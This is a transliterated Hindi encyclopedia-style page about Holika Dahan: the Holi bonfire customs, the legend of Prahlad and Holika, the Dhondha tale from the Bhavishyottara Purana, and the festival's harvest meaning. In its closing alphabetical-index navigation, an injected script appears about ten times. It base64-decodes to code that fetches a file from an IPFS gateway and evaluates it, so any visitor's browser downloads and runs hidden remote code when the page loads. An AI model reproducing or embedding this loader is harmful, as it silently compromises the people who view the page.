होलिका दहन

[[chitr:Holi-Holika-Dahan-Mathura.jpg|holika dahan, mathura|thumb|250px]] holi bharat ke pramukh char tyoharoan (dipavali, rakshabandhan, holi aur dashahara) mean se ek hai. holika dahan poorn chandrama (phalgunapoornima) ke din hi praranbh hota hai. is din sayankal ko holi jalaee jati hai. isake ek mah poorv arthath magh poornima ko 'erand' ya goolar vriksh ki tahani ko gaanv ke bahar kisi sthan par ga d diya jata hai, aur us par lak diyaan, sookhe upale, khar-patavar adi charoan se ekatr kiya jata hai aur phalgun poornima ki rat ya sayankal ise jalaya jata hai. paranpara ke anusar sabhi log alav ke charoan or ekatrit hote haian. isi alav ko holi kaha jata hai. holi ki agni mean sookhi pattiyaan, tahaniyaan, v sookhi lak diyaan dali jati haian, tatha log isi agni ke charoan or nrity v sangit ka anand lete haian. basantagaman ke lokapriy git bhakt prahalad ki raksha ki smriti mean gaye jate haian tatha usaki kroor bua holika ki bhi yad dilate haian. kee samudayoan mean holi mean jau ki baliyaan bhoonakar khane ki paranpara hai. aisa vishvas kiya jata hai ki agami fasal kaisi hogi, isaka anuman holi ki shikhaean kis or u d rahi haian tatha bhune hue jau ke danoan ke rang v svad se lagaya ja sakata hai. holi ke alav ki rakh mean kuchh aushadhi gun bhi pae jate haian, aisi logoan ki dharana hai. log holi ke alav aangaroan ko ghar le jate haian tatha usi se ghar mean mahilaean holi par banaee huee gobar ki ghuraghuli jalati haian. kuchh kshetroan mean log holi ki ag ko salabhar surakshit rakhate haian aur isase choolhe jalate haian.

itihas

prachalit manyata ke anusar yah tyohar hiranyakashipu ki bahan holika ke mare jane ki smriti mean bhi manaya jata hai. puranoan mean varnit hai ki hiranyakashipu ne apani bahan holika varadan ke prabhav se nity agnisnan karati aur jalati nahian thi hiranyakashipu ne apani bahan holika se prahlad ko god mean lekar agnisnan karane ko kaha. usane samajha ki aisa karane se prahlad agni mean jal jaega tatha holika bach jaegi. holika ne aisa hi kiya, kiantu holika jal gayi, prahlad bach gaye. holika ko yah smaran hi nahian raha ki agni snan vah akele hi kar sakati hai. tabhi se is tyohar ke manane ki pratha chal p di.

holika

[[chitr:Holika-Prahlad-1.jpg|thumb|prahlad ko god mean bithakar baithi holika|250px]] hemadri^[1] ne bhavishyottar^[2] se uddharan dekar ek katha di hai. yudhishthir ne krishna se poochha ki phalgun-poornima ko pratyek gaanv evan nagar mean ek utsav kyoan hota hai, pratyek ghar mean bachche kyoan kri damay ho jate haian aur holaka kyoan jalate haian, usamean kis devata ki pooja hoti hai, kisane is utsav ka prachar kiya, isamean kya hota hai aur yah 'adada' kyoan kahi jati hai. krishna ne yudhishthir se raja raghu ke vishay mean ek kianvadanti kahi. raja raghu ke pas log yah kahane ke lie gaye ki 'dhondha' namak ek rakshasi hai jise shiv ne varadan diya hai ki use dev, manav adi nahian mar sakate haian aur n vah astr shastr ya ja da ya garmi ya varsha se mar sakati hai, kintu shiv ne itana kah diya hai ki vah kri dayukt bachchoan se bhay kha sakati hai. purohit ne yah bhi bataya ki phalgun ki poornima ko ja de ki rritu samapt hoti hai aur grishm rritu ka agaman hota hai, tab log hansean evan anand manayean, bachche lak di ke tuk de lekar bahar prasannatapoorvak nikal p dean, lak diyaan evan ghas ekatr karean, rakshoghn mantroan ke sath usamean ag lagayean, taliyaan bajayean, agni ki tin bar pradakshina karean, hansean aur prachalit bhasha mean bhadde evan ashlil gane gayean, isi shoragul evan attahas se tatha hom se vah rakshasi maregi. jab raja ne yah sab kiya to rakshasi mar gayi aur vah din adada ya holika kaha gaya. age aya hai ki doosare din chaitr ki pratipada par logoan ko holikabhasm ko pranam karana chahie, mantrochcharan karana chahie, ghar ke praangan mean vargakar sthal ke madhy mean kam-pooja karani chahie. kam-pratima par sundar nari dvara chandan-lep lagana chahie aur pooja karane vale ko chandan-lep se mishrit amr-baur khana chahie. isake uparant yathashakti brahmanoan, bhatoan adi ko dan dena chahie aur 'kam devata mujh par prasann hoan' aisa kahana chahie. isake age puran mean aya hai- 'jab shukl paksh ki 15vian tithi par patajh d samapt ho jata hai aur vasant rritu ka prat: agaman hota hai to jo vyakti chandan-lep ke sath amr-manjari khata hai vah anand se rahata hai.'

holikotsav

250px|thumb|phalain gaanv mean tez jalati huee holi mean se nange badan aur nange paanv nikalata panda is parv ko navanneshti yajnaparv bhi kaha jata hai, kyoanki khet se aye navin ann ko isadin yajn mean havan karake prasad lene ki parampara bhi hai. us ann ko hola kahate hai. isi se isaka nam holikotsav p da. holi ka samay apane ap mean anootha hi hai. faravari- march mean jab holi manaee jati hai, tab sab or chiantamukt vatavaran hota hai- kisan fasal katane ke bad ashvast hota hai. pashuchara to sangrihit kiya ja chuka hota hai. shit rritu apane samapan par hoti hai. din n to bahut garm, n hi ratean bahut thandi hoti haian. holi phalgun mas mean poorn chandrama ke din manaee jati hai. yadyapi yah uttar bharat mean ek saptah v manipur mean chhah din tak manaee jati hai. holi varsh ka aantim tatha janasamany ka sabase b da tyohar hai. sabhi log apasi bhedabhav ko bhulakar ise harsh v ullas ke sath manate haian. holi parasparik saumanasy ekata aur samanata ko bal deti hai. vibhinn deshoan mean isake alag-alag nam aur roop haian. holika ki agni mean purana varsh 'jo holi' ke roop mean jal jata hai aur naya varsh nayi ashaean, akaankshaean lekar prakat hota hai. manav jivan mean nee oorja, nee sphoorti ka vikas hota hai. yah hinduoan ka navavarshotsav hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ (vrat, bhag 2, pri0 174-190)
↑ bhavishyottar, 132.1.51

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] (vrat, bhag 2, pri0 174-190)

[2] vishyottar, 132.1.51

[1]

[2]